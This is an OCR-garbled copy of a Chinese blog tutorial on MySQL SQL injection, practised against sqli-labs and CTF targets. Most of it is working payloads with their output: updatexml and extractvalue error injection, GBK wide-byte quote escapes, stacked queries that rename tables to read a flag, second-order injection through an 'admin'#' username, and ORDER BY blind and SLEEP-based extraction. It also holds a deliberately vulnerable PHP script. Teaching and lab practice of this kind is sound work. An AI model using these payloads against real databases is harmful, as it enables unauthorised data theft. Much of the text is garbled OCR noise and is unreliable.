mysqlﬁﬂ i R ﬁlxpath [Z2FEA] B Hr+8 H SRR
FERSQLIE

FLEF Evao ?2021 01 2805 17:55 K Ai o 62 * o W
XERE: R
A 75 B« 21:36}31@32% ﬁ'JjCa HEE CC4.0 BY-SA JRAUIMY, #EBiEMH LR SCH A EMAE,
A CEEHE: hitpsy/blog.csdnnet/weixin 31905417/article/details/1 13460992

RBAX
Fin: [BEEA] FRES P+ ESEERERESQLEA
HI &

SQLIEA RwebZ &t & BRI E TR, SQUEANFRL 7L, BR R fiEpayload, A xniE F#H
RAEERE, XRHEE—TRIFBREIKNSQUENTE, FRE S+ H .

01

52
=k
=

Xpath#RFEiFEA

updatexml: X xml#E4T 2 # A& ik

extractvalue: X xmligE47 & ) FfE 2L

WA TE A

selectextractvalue( 1, concat( 0x7e, user, 0x7e));

mysql> selectextractvalue( 1, concat( 0x7e,user, 0x7e));
ERROR 1105(HY000): XPATH syntax error: '~root@localhost~'
selectupdatexml( 1, concat( 0x7e, version, 0x7e), 1);
mysql> selectupdatexml( 1, concat( 0x7e,version, 0x7e), 1);
ERROR 1105(HY000): XPATH syntax error: '~5.5.53~'
JE3 S i

extractvalue(xml_str , Xpath) 88 %, # 18 XpathiZ& i MXMLEE R 757 5 P IR_RI—AME, MERHEHEE—ISH
JINULL, 3% [ {E #B8 ~&NULL.

HEm RN XML BT WK R E, S THTMLCHE A

SHBEERTE—H, B-NISEEANBIRmIN, F S5 A XpathB 258 R K &R BER
AT B T

selectextractvalue( 'abbbacccaaaa’,'/a/c");

FHRET— B AT at S T EICH R

+ +



https://blog.csdn.net/weixin_31905417
https://so.csdn.net/so/search/s.do?q=mysql%25E6%25BC%258F%25E6%25B4%259E%25E5%2587%25BD%25E6%2595%25B0xpath&t=blog&o=vip&s=&l=&f=&viparticle=
http://creativecommons.org/licenses/by-sa/4.0/
https://blog.csdn.net/weixin_31905417/article/details/113460992

| extractvalue( 'abbbacccaaaa',’/a/c') |

+ +

| accc |

+ +

EFHBATRERERRME, EIREANNIE T AEERKXpath , MySQLES HILEER R, MR i XPath
RN

& FEEANETARLHARR

RIREERS D T — 85, BAARIERIroot, AR IR By XpathiB vk R A BRIk 7 17 I 4 el
BN E A T EER N 7R AU IR IR 7 A5 B A AT B A 45 R

T FEEARMETRRLHRIR

HEAMEER, MENKERA—ERHK, FERIETKKpayload, 7515 K775 5§ 2 HE

R FRESNATERL AR

updatexmlifi £ SextractvalueZ&fil , & 58 FrxmilSCRY ) B 31

updatexmlBHE =125, 452 (XML_document, XPath_string, new_value)
F—/SH:. XML_documentf String#g X, AXMLITAYXT R K4 R

¥ A3 XPath_string (Xpath#& R F /75 &)

FE=/1S%: new value, Stringt&z, B BIMNRTFEEM KL
JREARE], #RRB B IR T AR A IR

T FEEAMES RS HRE

& H S2
sqli-labs175%, ¥ & Fxpath#k£51EA

unameZ X K MBAEMAELL, =ik Tpasswd, KIEG| Sk, HAEREELE, W UERxpathiREEAN =
R B



uname=admin&passwd=1" or updatexml(1,concat(0x7e,database,0x7e),1) # &submit=Submit

Referar: Mip /127.0.0. 1/sqli-labs-master/Less-17/
¥-Forwarded-For. 8.8.8.8

Connaction; close

Upgrade-Insecure-Requests: 1

Content-Type: application/c-www-form-urlencoded
Content-Length; 84

uname=admin&passwd=1"or updatexml{l concat{0x7e database() 0x7e) 1)# Esubmit=Submit

BE R xpathik S5 E AT UL Rk — — B R 7B ERIT
payload:
uname=admin&passwd=1" or updatexml(1,( selectgroup_concat(table_name) from

information_schema. TABLES whereTABLE_SCHEMA= database), 1) # &submit=Submit

XPATH syntax error: ' referers,uagents,users’
& FERCRETETSmRRE

THE#EA F¥payloadit FEIRT, {HFBER < H—/ i
payload:

uname=admin&passwd="' or updatexmi(1,concat(0x7e,( selectusername fromusers), 0x7e), 1)
#&submit=Submit

You can't s ble users' FOGR IR e P R PIEEE TR R

HILXAME R, RENARBeSselectt [F—FH R 8E, Fupdateix 4%
BEERMERITE, R EEBLESNE I —Zselect B v] fi# p
&% payload:

uname=admin&passwd="or updatexml(1,concat(0x7e,( selectusername fromusers), 0x7e), 1)
#&submit=Submit

02

RFHEAN

addslashes B #{iR 8] 72 Tl 5& X7 Z B A0 SRR 8 7 4F
mysql_real_escape_string B %#% X SQL & &) F 45 F B 7755 5 h A4S R 2 7%

mysql_escape_string — # X — AN ERF
JEH 4> Hr

FTHE—THARE., BFEHOLEREFTHHID:



— HRERFHFHIRDPA—AFH, REFRHAEFTH.

Z HERFFHRDARAN TR, REFRFAEFT.

= A SO E — AT, WFE AT

9. #AKEFETHmiS: GB2312,GBK,GB18030,BIG5,Shift_JIS%E

At ASFAERFHEN, RPoiy REmEERNEHET, RETEAZERBETESF R REREERGS
PHP %483 5 B AN R B9 P A G A i 2T S B0 A 98 7 5

e R B AE {3 F PHPIE My SQLI B i, &
“ setcharacter_set_client = gbk”
I 2 3 B—N g i B i) 1) R

0 SRBE PR AE F B A 2 GBK S i3 1T PHPZw A5 9 UTFS8 T RE M BLIE N R, JREEIRIEF B8 T BilESQLIEN, Bt
SRABN LRI BEUM RE, K855 BN 5] S AT 8 RME, # L HIRE R BB 5] 5 1 i _ERHAT
HATHL , ERHEFERE, FABEEFRRRE T TR, WMEE - BRNFRHFEIME—NT, T
FEPHPf I KIUT F8%% i3 A 9 R BTN MSL I 775, IR BATFE BB 5| S I IN— N7 4F, S HABATH &3
HE—ART, MMRERRNG] S, EHAENAKER. EHHEMKFRRASCIERT 128, WANFRAHEA
ERNF , FAM—ascifERF128, A BNFHEEH, X—AFEER.

R H S
KRB SCF A BERGRTCOR, I SEAORAR — T
http: //chinalover.sinaapp.com/SQL-GBK/index.php?id=1"'
Bl 55 RN
your sql: selectid,title fromnews whereid="1"
RIBFESLT , &L HLE Y%df
?id= 1%df" and1= 1% 23
[B] 45 RN -
your sql: selectid,title fromnews whereid="1i&'and1= 1#
% AR RIZZ K T — M F18”  FT AR 5| S st ISR L, T A3E &M
BEBEEE, THRRERAT, HATHETHAERS, ¥HKpayloads® i — TEIR

< C @ F===£| chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27%20union%20select%201,%20database()%23

CE v CTFRESESF RO, CTFRISERAS FiEigE SQUEAFIEE AWD python®3 FIfE Github

your sql:select id title from news where id = 'B\' union select 1, databa._ .f AP 22 T =g = (8] Z 4 T G
sae-chinalover

SQL-labs32M33K M K 2 T HFTEN, WA

http: //127.0.0.1/sqli-labs-master /Less-32/?id= 1'



Hint: The Query String you inpu isﬁ%@g%%g% '%;'%

The Query String vou input in Hex becomes : 315¢
RO RBEE LT, AR — FREFHEA

http: //127.0. 0. 1/sqli-labs-master/Less- 32/?id= 1%df%27

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use

near "1&\" LIMIT 0,1' at line 1

HREER), WHERS|ISOEEERT, FEEKBHE HpayloadR of
03

HEBIEN

YR THF

25(;), FESQLIEA]HHIRE R —Fsqlif A ML R

JE 2 73 #r

HEBIENF UPATERKIER , £%sql iBG)—EHAT. EMYSQLrSES, #LLIEANGRRF, MIAIER LA
fE—HSQLIER S5 5 B R R — A SQLIEH .

Bil4n:

mysql> show databases;use web1;select 1, 2, 3;

| information_schema |

| BWVS |

| bbs |

| challenges |

| dvwa |

| mysal |

| performance_schema |
| security |

| test |

| web1 |

10rows inset ( 0. 00sec)



Database changed

S

| 112] 3]

S —

| 112] 3]

S —

1row inset ( 0. 00sec)

EHEBEANRERBRER, JFARSANFZEAT LA K
— AIRERZ BIAPIELE H¥E 51 BEAN SR I PR

—. BRAR

P A —BOX M5 B EEA R S MBECTRE S, EIEFR XM LRI E R, REANBRBIgHE, BRI Kweb
FEREEEE R T XMIrik, L BRI —itt.

7 H SR

MFEREERIGEE

ol 5%
array(2) |

[o]=>

string (1) "17

[1]=>

string (7) “hahahah”
SRR

RIABEEN, EHREES, KA

N FRERAEERIREE, Rifi—1

ZH 1 123r

return preg_rnatch(”/select|update|delete|dr0p|l-1:2_'e[ BT e sl T

MEEERRBTHBLIT, KIAATUEHHEREN, BHPRZK B
FEWZHAR, CLWRE NSRS, FEREHEEE. SER
B

1"; showdatabases; #



HifHER

1"; showtables; #

array(l) {
[o]=>

string(11) “ctftraining”

array(l) {
[o]=>

string(18) “information_schema”

array(l) {
[0l=>
string (5) “mysql”

array(l) {
[o]=>

string(18) “performance_schema”

array(1) |
[o]=>

string (9) “supersqgli”

array(1) |
[o]=>
string(4) “test”

FrE AR R AN

array(1) |
[o]=>
string(18) “1919810931114514"

array(1) |
[o]=>

string (5) “words”

FrELARRESE R =LA

25 E#19198109311145143% fMiwords3k



array(6) |
[o]=>
string(2) “ig”
[1]=>
string (7) “int(10)”
[2]=>
string(2) “NO”
[3]=>
string(0) ™"
[4]=>
NILL
[5]=>
string(0) ™"

}

array(6) |
[o]=>
string(4) “data”
[1]=>
string(11) “varchar (200"
(2]=>
string(2) "NO”
(3]=>
string(0) *7
[4]=>
NILL
(c1=>
string(0) *7

} R o Rl it

Hifjwords®KiY, KIAIdFI, BAIBEEMAL TR, SERHSNAZE, BrEEENAEEERNwordiX kg +
[B] 2

F#E1#19198109311145143%

1"; showcolumnsfrom 1919810931114514°; #

array(B) |
[o]=>
string(4) “flag”
[1]=>
string (12) “varchar (100)7
[z]=>
string (2} "NO”
(21=>
string (0) 77
[4]=>
NULL
(51=>
string (0) 77

} S FFAHE TSR AR SR

EHEIFXERSHRAE, BARINECER/E TlagT, HEselect#iidIE T, Mshowin S XA REERE. Xt
EEECE T, AR FAMERNE, —HRiSErHEFalert 7 rename, RATEL50E T words 2 FH R Bl &
WM, BERRERRATIE19198109311145141X AR B B4 T Awords, FE 3 INAE R B, (2 [B] B R
1919810931114514 X NRM A B, HREFT UK, XMERK. . . KIffdtql

payload:

1'; RENAMETABLE 'words TO 'words1"; RENAMETABLE 1919810931114514 TO words’;
ALTERTABLE words’CHANGE flag™'id"VARCHAR( 100) ; showcolumnsfromwords; #

1" or'"1'="195 0 —TF, f#r]LLKkIflag
X EER NG, Er D HERIEANFRIRMERT



04
ZIREN

AL

addslashes B %51 [5] 7 7€ SCF 2 B8 0 SRR A <7 7
mysql_real_escape_string & %% L SQL &) 5 46 B 1 7755 5 P AR sk = 755
mysql_escape_string — # X —/N 745

“RENRHE

BRI RBRRBRARBIRIAL, XRFE K HN 6 ER 0 8N RE 54T SRR 5 i ug, 6l
. RS RENEA N1, I X e bR H ) A 2 ) AR 13X R W] AR 1k FE P ) AR 45 2R A N SRR 51 R
B — BB ERAE, EXRARPBRIIET —TF, HLREFIHE PR T B8R 1, 8 5 50 B i 50 &
BHATH—PHRRBAAE, REBJAEEERHEESHIE, RETEREEPESQLIER#HITER, MaRE
TSQL=RIEN.

ER: ZIREAAREAFRKKER, ZREAEITHAERAEAN, TUETEHRE, HHAHHRER.

TRENERFEEEE
B NE N 2R
i BESEEVENE
HHRE MR ﬁﬁ?}?@jlﬁsqlﬁ

SrS kS| Ao 2aEm
#(E , EiE TS
RS S MR TEERRE

EASEER insert into
table values ("11"); . sql
N AT Y

Y
Ve (
- BERSIELT (- \ 11 M SR s
NI v . B e ) el T

BEER ZUEANRSLR IS AR PR

a. WmANEELE

b. 51 F& & H ik

JREEER W, EARRTEERR, THRRERSEST ZRIEN.
R H SEA%

SQL-labs24 % F# & B ~IRIEN

FERE — T BRI HURAD




$username---mysql real escape string($ POST["login user™]);
$password-=-mysql real escape string($ POST["login password"]);
$sql " users username-"$username’ password="$password"";

$res-—-mysql_query($sql) (*You-tried-to-be:real %‘Hiﬁ%ﬁ@%ﬁﬁ:f%ﬁﬁ*ﬁﬁ

$row-=-mysql fetch row($res);

TSI RBCRIFRAT SR ILEE T, FTUEBREAR B
FREE — TR EM R

$username-=-mysql real escape_string($ POST["login_user™]);
$password:-=-mysql real escape string($ POST["login password"]);
$sql " users username="$username’ password="$password"";

$res---mysql_query($sql) (*You-tried-to-be-real %H?ﬁ%ﬁl@%?@f%ﬁﬁﬁﬁ

$row-=-mysql fetch row($res);

FIFES IR AT, WEMETHEABRA T 6
&RJEHE — MEEUE KIS

$username--$ SESSION[
$curr_pass | ]
$pass--mysql

($pass $re pass)
[

i $sql-=-" sers PASSWORD-"$pass’ username %ﬁjﬁﬁéﬂgﬁlﬂﬁéﬁﬂﬁﬁ,

$res---mysql c v ($: ('You-tried-to-be-smart, -Try-harder!!!l-:(-");

FIFEandt, st REEFH ZKEN, SR EBRRIEEANSESEES, HiHAH

BAVREM —ANH P admin', FiG B B 8123, EMFZEEE— THIEE

MR, XA HSERATH AT MESUE B Radmin, A4, KRE TS EEKsqliEH)
AT 4 hadmin', WHZH PR, SQLEAINZAT

users PASSWORD="$pass’ username="$username” password="$curr_pass’-";

PASSWORD="$pass' username="admin"’

3
users PASSWORD="$pass "’ username aﬁﬁiﬁ%ﬁ@%?|ﬂ§iﬁﬁ%ﬁ

FATRadmin® 15 5 2y 123456, i — T

G RS RET ARSI

BBURT), KRR IRENR SR A
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Order ByiE A\

if R £
updatexml & %
extractvalue s %t
regexp i
rand i 41
JEE S i

2 F P B AL B @ 1 My SQLIK “Order By 84 F IR (ELEAT 53R, fn S mT #2460 ) £ B Eorder by FA)J5, 1
orders A #%: select * from xxxx order by $ GET['order'|r] &5t < 5| & order byiEA

AMAXRITERAERAZTIR T, FEEDH:

error_reporting(0);

session_start;

mysql_connect("127.0.0.1", "xoxx", "xxxx") ordie("Database connection failed ");
mysql_select_db("sqlidemo") ordie("Select database failed");

$order = $ GET['order'] ? $_GET['order"] : 'name’;

$sql = "select id,name,price from goods order by $order";

$result = mysql_query($sql);

$reslist = array;

while($row = mysql_fetch_array($result, MYSQL_ASSOC))

{

array_push($reslist, $row);

}

echojson_encode($reslist);

?7>

if(EA)1. B2, IBEI)WRIEGTAE, NHATIEF2, TNNHITERS
[?order= IF( 1= 1, name,price) @it nameFB&HF

[?order= IF( 1= 2, name,price) i&iZ price 7B HEFF

i B/ 44 T SQLiEf) Hcase MBI X

& B Caserki 3



case¥l| 4

whenZ {418 1thenit 3t 1
whenZ {18 2theni% i 2
elseBRiAH end

-- Casef R $

case

whenZ| =218 1thenitJi 1
whenZ & =%{F{H 2thenitIi 2
else®kiME end

PRI, TLASEBUAERI DAL . ) B Case B $ i) Bk LU )3, [ERMCaset KRR BUMHLL, ThReTT &
A LERRE,  Eoan S T T A

/? order=( CASE+ WHEN+( 1= 1)+ THEN+name+ ELSE+price+ END) i@itnameZ B HE 7
/? order=( CASE+ WHEN+( 1= 2)+ THEN+name+ ELSE+price+ END) i@it price 7B 7
o SRARF MG B A 1E, LR S T R TR Uk B A B 1E A B AT

< C ©® 127.0.0.1/1.php/?order=(CASE+WHEN+(1=2)+THEN +name+ELSE +price+END)

i RuA CTFREERRT AR, CTFRIZEER S FiEEE SQUEANZHEE AWD python=3] HInEEE Github
S e Bzt 2 [Til et '_.rg—fu—-;,u—

_ fr;f ;r' =] 2z :rr [ IJJ s JH)" [’JF
[{"id":"1","name":"apple","price":"10"},{"id":"2","name":"banana”,"price": 1\5 "1 {"id":"3","name": peach "price":"20"}]

IFNULL 5 %08 T AW 58 — AN RE KRN NULL, 4012RJ9 NULL R 8155 — AN S5 ifE, iR NULL JU5R
B —NSHEME, ProdtnT DUEEIFNULLR AR, HEMEREIES)
/?order=IFNULL( NULL,price) il it price ¥ Bt HE 7
[?order=IFNULL( NULL,name) i@idname¥ Bt HEF
AR E 2 STbS
[?order=IF(1=1,1,( select+ 1+ union+ select+ 2)) IE#f
/? order= IF( 1= 2, 1,( select+ 1+ union+ select+ 2)) 4&i%
&« C ©® 127.0.0.1/1.php/?order=IF(1=2,1,(select+1+union+select+2))

i RZA CTFREFRREF RIS CTFRIRER] ik, HiEEE SQUENFHEE

ps i o s TR
T TR AT A g

(]

FIF s
[?order=( select+ 1+regexp+ if( 1= 1, 1, 0x00)) IE#
/? order=( select+ 1+regexp+ if( 1= 2, 1, 0x00)) 4&i%

/? order=extractvalue( 1, if( 1= 1, 1, user)) IE#



/? order=extractvalue( 1, if( 1= 2, 1, user)) 4&i%

MAIfER, WA UESHorder/5HWEN RIEE, FAMFBRXEERER BT, ENREEUESCIERE
B ERER AT LK

.
J?0order=if(%1£1,1,( SELECT( 1) FROM( SELECT( SLEEP( 2))) test)) iF & mi 3 i [i]
/? order= if(%44 1, 1, SELECT( 1) FROM( SELECT( SLEEP( 2))) test)) sleep2#}

FForder byix AT REE BB H 3115, Reb@BdBMRIREBEIE, BRESEN Re— M —AL 8%, FrelerBAf)
Fsubstrai B ek H DA Kleft. rightiR SN FZ/RF OB R, #1754, WREROrder byi N, BIFHAMA, F
18R

Order by7E Nt E T XL %, JTREATRAETER P BATHF WSS, EIRAR KA AR FARR S, 5t
SEBEFAE, FARBKIIREIIT —ESQUENESR, MMittEREE.

R H SE%

1 F SQL-labs46 < il i

) 127.0.0.1/sqli-labs-master/Less-46/?sort=1

ERET ARG CTFRIEE R S FiEEE SQUENZFIEE AWD python==] FImEEE Github

Welcome
ID | USERNAME | PASSWORD
Dumb Dumb
Angelina I-kill-you
Dummy JOSelfe

1
2
3
R FER B ML IR
5

stupid stupidity

I sortw] LA ATE R & W, W LLEiTasc MdescEFE iR B HHE & 75 40 [F R 4] 24 Wi 2 75 77 ZE order byiE N, KN
mRIEAFASorder by, BRIARIZIBREW P & LK 58" (Primary Key) 3177 FF(ASC)HE, tn#i@itasc
FMdescEFH &[5 545 #H [ W A fE fEorder byiE N, RZNIFELE.

FHEFEEAN AT, order byl E AKEEARLLERHL, Fr ARATAT AW IEAE R HTE A
. REETER

? sort= 1and(updatexmi( 1, concat( 0x7e,( selectdatabase)), 0));



/?sort=1%20and(updatexml(1,concat(0x/e,(select%20database())),0));

BE SQUEANFHESE AWD pythonZ=] HImEEE Github FH e

Welcome
XPATH syMnTER S & MERAG Mk

T T A B8 R BB A b I payload it AT AR H oA
i 8] 5 E

2sort=if(1=2,1,( SELECT( 1) FROM( SELECT( SLEEP( 10))) test))

ORDER BY-Error-Numeric X S3E-CSDNEE X | & support.google.com x | 3
&« X T® 127.0.0.1/sqli-labs-master/Less-46/?sc I"[:if:]:¢ fl'#ffw Tlg” E IJI'”" "f"x'b J{L_“

FRAT R I T B 4 07 o BE B AT SRSE AR, 1 dm
?sort=if(ascii(substr(( selectdatabase), 1, 1))> 200, 1,( SELECT( 1) FROM( SELECT ( SLEEP( 10))) test))
XE BT Easclk— FRIMAR BT, BRibZ SMER BUH A rand B #
? sort= rand(ascii( substr(( selectdatabase), 1, 1))> 127)
2 sort= rand(ascii( substr(( selectdatabase), 1, 1))> 1)
RILEEANERAFE, Al 248, s HEAs

9 |admini

a @ggg;ﬂﬂﬁﬁl RLFRR

& Blascll>1278 & J5 &7~ Fladmin1, fiascll> 18 ysuperman

6 |superman |genious o oo

EZIVE 2 ¢/[}78

superman_{X.3& IE#

admin1_RFHER

TS HEENA, REBEHEE. RERGER

B ZWHMARLSEXE, SQUEANEEREZEY, mRSHEANS.



MySQLH, S aixor&~
JR 2 53 Hr

FETENREEONR L, BEENEE: PAKAHERE (R R BRR)EAR0), PAFAEARNE
(1), null SAEfTZAFR BUE E A null

TR B AEMysqliF 21T — T

& FERERNETERETRE

PSRBT VA TT DA — 2 A R RO U8, e

T ARRESNETERZLMRR

CT FRErb i SRAR ) W A8 L8 B o g 9, (87T DL IS R sl
FESNstr)\F 5 -FF 5 RAES S, str2BATE XKL

7 H SR

Lid=5r}, BHRXBRR, BHKSQLIEA

BNid=1"0F R

LENId=1'%230 A ksE, HiAid=1"and 1=1%23X k4, FRRLIE T andslE T, SMAKRRLIE T
and, EEEEPOIIEHEI LR, T CUE A 7 B W)oK A i RS R 450 g

?id=1 "Nlength(‘'union ")!=0)

XEATRESA HLE, MERERKEARZETO, Binlength('union)!=08 7 (&), ¥ union R IE, N R E
B & E EEREARERNAR), wRlength('union')! =0 AL(R), P8 unionfsL LT sEs 17, N5 E
SIEH



There is nQthina.

THEEEIEY, #i8length(union’)==0, #HKuniontidI€E T, FFERITERN

select, union, and, or

FEAPOL iR

THEIN SRS NATFHERLASE, XEERETNARRERXMITE, FUTEHRARAT .
FEVEN R FAER RE, 5 SUHE R I payload B BT

EARTEAENIRE, BRIEZINERFHMySQLISQLIUAL B BEATEANSSE, BERNEEHIRS, 480N
VH !

. lemon
RIR: X
TT G E
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